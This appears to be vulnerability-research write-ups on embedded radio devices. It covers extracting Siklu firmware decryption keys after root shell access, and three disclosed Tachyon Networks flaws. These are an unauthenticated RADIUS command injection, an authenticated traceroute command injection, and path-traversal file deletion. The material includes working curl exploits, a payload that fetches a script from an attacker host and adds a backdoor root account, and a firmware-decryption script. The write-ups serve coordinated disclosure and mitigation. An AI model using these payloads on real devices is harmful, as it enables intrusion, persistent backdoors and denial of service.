We can also identify the device is using a Linux based firmware, and once booted provides a login prompt

Starting kernel ...

Booting Linux on physical CPU 0x0
Linux version 4.9.11+ (edwardk@rene.siklu.local) (gcc version 7.2.1 20171011 (Linaro GCC 7.2-2017.11) ) #4 SMP PREEMPT Thu Jun 7 12:18:17 IDT 2018
...
sw login: 

Shell access

Normally in this situation we would look at utilizing the unlocked U-Boot to adjust the boot process into single user mode and bypass the login prompt, however luckily (or unfortunately) it appears the device uses the same root user credentials that were discovered on the Siklu TG series devices.

Update: The static root password has been captured under CVE-2025-57175

After logging in as root we are able to dump some information regarding running processes and get a lay of the land.

running processes

# ps
PID   USER     COMMAND
    1 root     init
...
  440 root     /usr/sbin/dropbear -k -j -K 10 -I 0 -b /tmp/ssh_banner
  464 root     [kworker/u2:2]
  506 root     /usr/sbin/crond -c /etc/cron.d -L /dev/null
  514 root     {cli_prio_cntrl.} /bin/sh /home/sw/bin/cli_prio_cntrl.sh
  525 root     /home/sw/bin/watchdogd
  550 root     /home/sw/bin/bspd -i
  558 root     /home/sw/bin/npud
  566 root     /home/sw/bin/swupgrd
  574 root     /home/sw/bin/modemd
  588 root     /home/sw/bin/ctrl_txd
  596 root     /home/sw/bin/oamd
  604 root     /home/sw/bin/rfpiped
  711 root     /home/sw/bin/cad
  728 root     /home/sw/bin/mini_httpd -C /etc/httpd.conf
  742 root     /usr/sbin/snmpd -c /tmp/snmpd.conf
  757 root     [kworker/u2:3]
  762 root     [kworker/0:2]
  767 root     -sh
  784 root     /usr/sbin/rsyslogd
  797 root     ps

listening network sockets

# netstat -tunel
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      
tcp        0      0 127.0.0.1:8082          0.0.0.0:*               LISTEN      
tcp        0      0 :::22                   :::*                    LISTEN      
tcp        0      0 :::443                  :::*                    LISTEN      
tcp        0      0 :::555                  :::*                    LISTEN      
tcp        0      0 :::80                   :::*                    LISTEN      
udp        0      0 0.0.0.0:161             0.0.0.0:*                           
udp        0      0 0.0.0.0:68              0.0.0.0:*                           
udp        0      0 :::161                  :::*     

Upgrade process

With shell access we can also monitor what processes run during the upgrade process and hopefully find what might handle the decryption stage.

After “downloading” (uploading) a new firmware to the device via the web interface, we observe a process called swupgrd_decrypt start and spawn openssl to decrypt the image, of note is the -pass stdin argument.

As the key is being passed through to openssl via stdin we could substitute openssl with another binary/script which dumps stdin into a file.

 1100 root     swupgrd_decrypt /tmp/siklu-uimage-nxp-enc-10.7.3-18993-bab5784d52
 1223 root     sh -c openssl enc -in /tmp/siklu-uimage-nxp-enc-10.7.3-18993-bab5784d52 -out /tmp/logs/.decrypted -d -aes256 -pass stdin
 1233 root     openssl enc -in /tmp/siklu-uimage-nxp-enc-10.7.3-18993-bab5784d52 -out /tmp/logs/.decrypted -d -aes256 -pass stdin
 1240 root     /home/sw/bin/mini_httpd -C /etc/httpd.conf

Reviewing the PATH order we drop a fake openssl executable script into /home/sw/bin to intercept the stdin and save to a file

#!/bin/sh
cp /dev/stdin decrypt.bin

Whilst this did capture what appeared to be a 32 byte key, it would only work on the specific image we used to capture, capturing another image decryption key we observed the first 16 bytes were static and the second 16 bytes changed.

Digging into swupgrd_decrypt

Loading the binary into a de-compilation tool and searching for openssl we quickly identify the function that appears to be used for decryption.

In this function we can observe two fwrite calls to the openssl process handle, both being 16 bytes long.

However we still are unsure where those last 16 bytes come from (ignoring my comments) so lets dig into the calling function main

00011cc0  int32_t decrypt_file(int32_t arg1, char* enc_file)
00011cde      void openssl_cmd
00011cde      snprintf(&openssl_cmd, 0x100, "openssl enc -in %s -out %s -d -a…", enc_file, "/tmp/logs/.decrypted")
00011ce8      FILE* openssl_stdin = popen(&openssl_cmd, &data_129e4)  // write
...
00011cf0      if (openssl_stdin == 0) // Check stdin is ready
...
00011cfc      else  // Write 16bytes from master_key to OpenSSL stdin
00011cfc          fwrite(&master_key, 16, 1, openssl_stdin)
00011d08          // Write image key to OpenSSL stdin, last 48 bytes of image is
00011d08          // passed to arg1, with key starting at 16 bytes, and key
00011d08          // being 16 bytes long
00011d08          fwrite(arg1 + 16, 16, 1, openssl_stdin)

In the main function we can observe the process reading the last 48 bytes of the image, using this to check a signature and validate the CRC32 of the image.

After this is done is removes these 48 bytes from the file, before passing them into the decrypt_file function, which we can see extracts 16 bytes from 16 bytes into the 48 bytes.

0001140c  int32_t main(int32_t argc, char** argv, char** envp)
00011424      void encFile
00011424      memset(&encFile, 0, 0xc0)
0001142a      int32_t i_11
0001142a      char* var_318
0001142a      int32_t var_300
0001142a      int32_t var_2f4
0001142a      void* var_20c
0001142a      int32_t var_204
0001142a      if (argc == 2)
00011434          strncpy(&encFile, argv[1], 0xbf)
0001143c          int32_t fileHandle = open(&encFile, argc)
00011442          char const* const var_328
00011442          if (fileHandle s< 0)
00011534              char const* const* var_2f8_1 = &var_328
00011536              var_318 = "cannot open {}"
00011536              int32_t var_314_1 = 0xe
0001153e              var_300 = 12
0001154c              int32_t var_358_2 = var_300
0001154c              int32_t var_354_3 = 0
00011558              var_328 = &encFile
00011558              int32_t var_324_2 = 0
0001155c              fmt::v8::vformat()
00011562              int32_t i_9 = 0
00011564              char const* const r1_9 = "/home/jenkins/agent/workspace/ho…"
00011570              int32_t i
00011570              do
00011566                  r1_9 = &r1_9[1]
0001156a                  i = i_9
0001156c                  i_9 = i_9 + 1
0001156c              while (zx.d(*r1_9) != 0)
00011574              if (i u> 1)
0001157a                  void* r3_5 = &(*"/home/jenkins/agent/workspace/ho…")[i]
00011582                  do
00011584                      uint32_t r1_10 = zx.d(*r3_5)
00011584                      r3_5 = r3_5 - 1
0001158a                      if (r1_10 == 0x2f)
0001158a                          break
0001157e                      i = i - 1
0001157e                  while (i != 1)
000115a6              syslog(0xb, "[%s:%d %s] %s", &(*"home/jenkins/agent/workspace/hos…")[i], 0x9b, "get_decrypted_image", var_20c, var_2f8_1, var_2f4)
000115a6              goto label_115aa
0001144e          lseek(fileHandle, -48)
00011458          // Read footer which contains encryption key
00011458          ssize_t r0_4 = read(fileHandle, &var_300, 48)
0001145e          int32_t var_2d4
0001145e          int32_t r0_15
0001145e          char* var_330
0001145e          int32_t* var_310
0001145e          int32_t var_30c
0001145e          if (r0_4 == 0x30)
0001146c              if (var_300 == 0x6e47d950)
000115c8                  r0_15 = crc32(0, &var_300, 44)
000115d2                  if (r0_15 != (var_2d4 u>> 0x18 | (var_2d4 u>> 0x10 & 0xff) | (var_2d4 u>> 8 & 0xff) | (var_2d4 & 0xff)))
🚫000115d4                      unimplemented  {vmov.I32 d16, #0}
000115e2                      var_310 = &var_330
000115ec                      var_328 = "invalid enc footer"
🚫000115f4                      unimplemented  {vstr d16, [r7, #0x30]}
000115f8                      int32_t* r2_10 = var_310
000115fa                      char* var_358_3 = var_318
000115fa                      int32_t var_314
000115fa                      int32_t var_354_5 = var_314
🚫00011604                      unimplemented  {vstr d16, [r7, #0x18]}
00011608                      fmt::v8::vformat()
0001160e                      int32_t i_6 = 0
00011610                      char const* const r1_16 = "/home/jenkins/agent/workspace/ho…"
0001161c                      int32_t i_1
0001161c                      do
00011612                          r1_16 = &r1_16[1]
00011616                          i_1 = i_6
00011618                          i_6 = i_6 + 1
00011618                      while (zx.d(*r1_16) != 0)
0001162e                      for (; i_1 u> 1; i_1 = i_1 - 1)
00011628                          if (zx.d((*"/home/jenkins/agent/workspace/ho…")[i_1]) == 0x2f)
00011628                              break
0001164a                      syslog(0xb, "[%s:%d %s] %s", &(*"home/jenkins/agent/workspace/hos…")[i_1], 0x7d, "get_decrypted_image", var_20c, r2_10, var_30c)
00011656                  else  // Trim last 48 bytes, and extract key
00011656                      int32_t var_2e0
00011656                      ftruncate(fileHandle, var_2e0 u>> 24 | (var_2e0 u>> 16 & 255) | (var_2e0 u>> 8 & 255) | (var_2e0 & 255))
00011664                      if (decrypt_file(&var_300, &encFile) != 1)

Wrapping it up

A golden rule in IT security is once someone has physical access, all bets are off, and this is a clear case of that.

With physical access we were able to obtain a shell to the underlying OS of the device, and from there monitor the decryption process and obtain the binaries responsible.

Whilst the static decryption key cannot be disclosed, below is an example python script to perform a decryption of the firmware.

1. Extract image key from file (seek to last 32 bytes of image, read 16 bytes)
2. Duplicate image file, and trim last 48 bytes of image
3. Start openssl process and pass in master key + image key

Usage

Simple run the python3 script passing the encrypted image file as the first argument

python3 decrypt_firmware.py <image>

python3 decrypt_firmware.py siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip
Processing file: siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip

*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.

Cleaning up truncated file siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip_truncated
Decrypted file saved to siklu-uimage-nxp-enc-10_6_2-18707-ea552dc00b.zip_decrypted

Code

import subprocess
import sys, os
import binascii

# Check if there are enough arguments
if len(sys.argv) > 1:
    input_file_path = sys.argv[1]
    print("Processing file:", input_file_path)
else:
    print("No file specified.")
    sys.exit(1)


# Define file paths for truncated encrypted file, and where to save decrypted version
truncated_file_path = input_file_path + '_truncated'
output_file_path = input_file_path + '_decrypted'

# Common base encryption key used by Siklu
base_key = "<REDACTED>"

# Function to remove the last 48 bytes from file
def remove_last_48_bytes(in_file, out_file):
    with open(in_file, 'rb') as f:
        content = f.read()

    new_content = content[:-48]  # Slice the content, excluding the last 48 bytes

    with open(out_file, 'wb') as f:
        f.write(new_content) 

# Function to exctract image encryption key which is stored in the last 48 bytes of the file
def extract_key(in_file):
    with open(in_file, 'rb') as f:
        # Seek to the position 10 bytes before the end of the file
        f.seek(-32, 2)  # 2 means to seek relative to the end of the file
        
        # Read the last 16 bytes
        key_bytes = f.read(16)

    return binascii.hexlify(key_bytes).decode('utf-8')

# Build full decryption key from base_key and key from input file
decrypt_key = bytearray.fromhex( base_key + extract_key(input_file_path))

# Strip extra data from input file, produce valid OpenSSL encrypted file
remove_last_48_bytes(input_file_path, truncated_file_path)

# Execute OpenSSL and setup pipes to input key
openssl = subprocess.Popen(
    ['openssl', 'enc', '-d', '-aes256', '-pass', 'stdin', '-md', 'md5', '-in', truncated_file_path, '-out', output_file_path],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

# Pass the byte data (password) to the openssl process via stdin
stdout, stderr = openssl.communicate(input=decrypt_key)

# Optionally, print the stdout and stderr
print(stdout.decode())  # Decrypted output
print(stderr.decode())  # Any error messages

print(f'Cleaning up truncated file {truncated_file_path}')
os.remove(truncated_file_path)

print(f'Decrypted file saved to {output_file_path}')

During the authentication process, if the device has RADIUS authentication enabled it is possible to perform a command injection due to incomplete sanitisation of user input within the RADIUS logic.

Using this vulnerability an unauthenticated user can execute any payload on the device.

Note: If this is performed on a subscriber module, it may be possible to repeat the attack against the access point as the impacted firmware exposes the access point via the bridge interface.

Impacted Firmwares

This has been tested on TNA-30X firmware 1.12.0 (beta 1) which introduces the RADIUS authentication system, older firmwares are not vulnerable.

This vulnerability only impacts configurations with RADIUS user authentication enabled.

Exploit Steps

1. Prepare the desired payload in a file on the attack box, simply create the below payload.sh file payload.sh

   echo 'support:$1$6Hzch.yD$ULugJ982Yb1D0g8zhqv3T.:0:0:level=0,first_login=false:/:/bin/ash' >> /etc/passwd; rm /etc/dropbear/dropbear_*; dropbear -R
   

2. Start web server on the attack box (python3 -m http.server 80)
3. Send the first stage (curl http://ATTACKIP/payload.sh | ash) to /cgi.lua/login http endpoint

   curl -k -v 'https://TARGETIP/cgi.lua/login' -X POST -H 'Content-Type: application/json' --data-raw '{"username":"root","password":"$(curl http://ATTACKIP/payload.sh | ash)"}'
   

4. The example payload.sh will have inserted a backdoor account called support with the password admin, and started a SSH server allowing for access using SSH with the credentials.

> ssh support@192.168.1.1
Warning: Permanently added '192.168.1.1' (ECDSA) to the list of known hosts.
support@192.168.1.1's password: 


BusyBox v1.31.1 () built-in shell (ash)


___ ____ ____ _  _ _   _ ____ _  _    _  _ ____ ___ _ _ _ ____ ____ _  _ ____ ®
 |  |__| |    |__|  \_/  |  | |\ |    |\ | |___  |  | | | |  | |__/ |_/  [__  
 |  |  | |___ |  |   |   |__| | \|    | \| |___  |  |_|_| |__| |  \ | \_ ___]

Tachyon Networks® (c) 2020-2024
https://tachyon-networks.com

1.12.0 rev 54500
root@tachyon-ptmp:~# 

Vulnerable Code

Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.

authentication.lua

-- Need to clear out backslashes first, then replace " and $ chars with escaped versions
local function sh_ss_clean(str)
        return str:gsub("\\", "\\\\"):gsub("\"", "\\\""):gsub("[$]", "\\$")  
end

local function sh_param_clean(str)
        return str:gsub("\\", "\\\\"):gsub("'", "\\'"):gsub("\"", "\\\"")
end

local function radius_auth(address, name, pass, rad_params)
        local res = {
                success = false,
                method = "radius",
                timeout = false
        }
        
        local cmd = string.format(
                'printf %%s "User-Name=\'%s\',User-Password=\'%s\'" | ' ..
                 ' /usr/bin/radclient -F -r 1 %s:%d auth "%s" 2>&1',
                sh_param_clean(name), 
                sh_param_clean(pass), 
                sh_ss_clean(rad_params.auth_server1 or ""), 
                tonumber(rad_params.auth_port) or 1812, 
                sh_ss_clean(rad_params.auth_secret or ""))
        local results = sysio.read_pipe(cmd)

Outcomes

After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.

No CVE IDs have been assigned as of this post.

Affected Products:

Tachyon-Network TNA and TNS series devices

Mitigation:

Update impacted devices to Version 1.11.5 or later.

Incomplete sanitisation of inputs from an authenticated user with admin privilege can perform remote command execution.

Whilst an “admin” user is already privileged, the ability to perform RCE allows for potential backdoor persistence to be established as the underlying OS is not exposed during normal operation.

For example if a threat actor was able to successfully authenticate (eg. default credentials, or insider threat) they could launch the Dropbear SSH service to gain full shell access, implanting persistent authentication tokens or backdoor accounts.

Impacted Firmwares

This has been tested on TNA-30X firmwares 1.11.4 and 1.12.0 (beta 1) with both being vulnerable, older firmwares are also likely to be impacted

Vulnerable HTTP Endpoints

Below are the known vulnerable endpoints, this may not be a complete list

Substitute PAYLOAD with the desired command to execute

Exploit Steps

1. Authenticate to the target device via the /cgi.lau/login http endpoint, retrieving the token from the cookie header

   curl -k -v 'https://192.168.1.1/cgi.lua/login' -X POST -H 'Content-Type: application/json' --data-raw '{"username":"root","password":"admin"}'
   Note: Unnecessary use of -X or --request, POST is already inferred.
   *   Trying 192.168.1.1:443...
   * Connected to 192.168.1.1 (192.168.1.1) port 443
   ...
   > POST /cgi.lua/login HTTP/1.1
   > Host: 192.168.1.1
   ...
   < HTTP/1.1 200 OK
   ...
   < Set-Cookie: token=BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU; path=/
   ...
   * Connection #0 to host 192.168.1.1 left intact
   {"level":0,"first_login":false,"auth":true}% 
   

2. Execute payload with one of the vulnerable http endpoints, using the token obtained in the previous step

   PAYLOAD="touch /rooted";
   TOKEN="BAPRLQTFAAAAAAF6WUXXOUDWV67PI7GRHIMEJRLU";
   TARGET="192.168.1.1";
   curl -i -s -k -X $'POST' \
    -H "Host: $TARGET" -H $'Content-Length: 56' \
    -b "token=$TOKEN" \
    --data-binary "{\"ip_address\":\"\$($PAYLOAD)\",\"selected_ip\":\"IPv4\"}" \
    "https://$TARGET/cgi.lua/traceroute"
   

Vulnerable Code

Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.

ping.lua

local function execute_ping(ip_address, count, selected_ip)
	local command
	if selected_ip == "IPv6" then
		command = string.format("busybox ping6 -c %u \"%s\"", count, ip_address)
	else
		command = string.format("busybox ping -c %u \"%s\"", count, ip_address)
	end
	return wsutils.read_pipe_to_event("ping-out", command)
end

local function ping_callback(req, res) -- luacheck: no unused args
	local ip_address, count, selected_ip, message_body

	if req.method ~= "POST" then
		return false, 404, "No service"
	end

	message_body = json.decode(req.POST.post_data)
	if not message_body then
		return false, 400, "Bad request - invalid content"
	end

	selected_ip = common.escape_double_quotes(message_body.selected_ip)
	ip_address = common.escape_double_quotes(message_body.ip_address)

	if type(ip_address) ~= "string" then
		return false, 400, "No IP address provided"
	end

	count = common.escape_double_quotes(message_body.count)
	if count then
		if tonumber(count) then
			count = tonumber(count)
		else
			return false, 400, "Ping iterations count must be a number"
		end
	else
		count = 3
	end

	return process.bgcall(execute_ping, ip_address, count, selected_ip)
end

Outcomes

After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.

No CVE IDs have been assigned as of this post.

Affected Products:

Tachyon-Network TNA and TNS series devices

Mitigation:

Update impacted devices to Version 1.11.5 or later.

HTTP DELETE requests to the login http endpoint /cgi.lua/login does not perform validation of token, allowing for any file to be deleted if supplied as a token (eg. TOKEN=../../../../etc/passwd)

This vulnerability could be used to perform a denial of service by crashing / bricking or locking authorised users out of the device.

Impacted Firmwares

This has been tested on TNA-30X firmwares 1.11.4 and 1.12.0 (beta 1) with both being vulnerable, older firmwares are also likely to be impacted

Exploit Steps

Run the below payload to delete the intended file

FILE_TO_DELETE="../../../../tmp/etc/http/web-plain.json";
TARGET="192.168.1.1";
curl -i -s -k -X $'DELETE' \
    -H "Host: $TARGET" \
    -b "token=$FILE_TO_DELETE" \
    "https://$TARGET/cgi.lua/login"

Vulnerable Code

Below is a sample of the code that is responsible for the vulnerability, whilst some sanitisation is performed it does not cover all possible command injections.

login.lua

--- Clears user authentication.
-- DELETE */login
-- Request params: no parms
-- Response:
-- - empty body (status code 204) on success,
-- - error message on failure.
local function auth_logout(req, res)
	local token = req.cookies["api_token"]
	if not token then
		return false, 400, "Token cookie is missing"
	end

	session.delete_session(token)
	security.erase_token(res)

	return { status = "ok" }
end

local function login(req, res)
	if req.method == "GET" then
		return auth_get(req, res)
	elseif req.method == "POST" then
		return auth_login(req, res)
	elseif req.method == "DELETE" then
		return auth_logout(req, res)
	else
		return false, 404, "No service"
	end
end

session.lua

--- Delete existing web session.
-- Checks and removes active session
-- @param session_id Session ID to look for
local function del_session(session_id)
	local session_file = path.join(SESSION_DIR, session_id)
	if not path.is_file(session_file) then
		return
	end

	sysio.remove_file(session_file)
end

local module = {
	...
	delete_session = del_session,
	...
}
return module

Outcomes

After submitting the disclosure report to Tachyon-Networks the vulnerability was patched and new firmware released.

No CVE IDs have been assigned as of this post.

Affected Products:

Tachyon-Network TNA and TNS series devices

Mitigation:

Update impacted devices to Version 1.11.5 or later.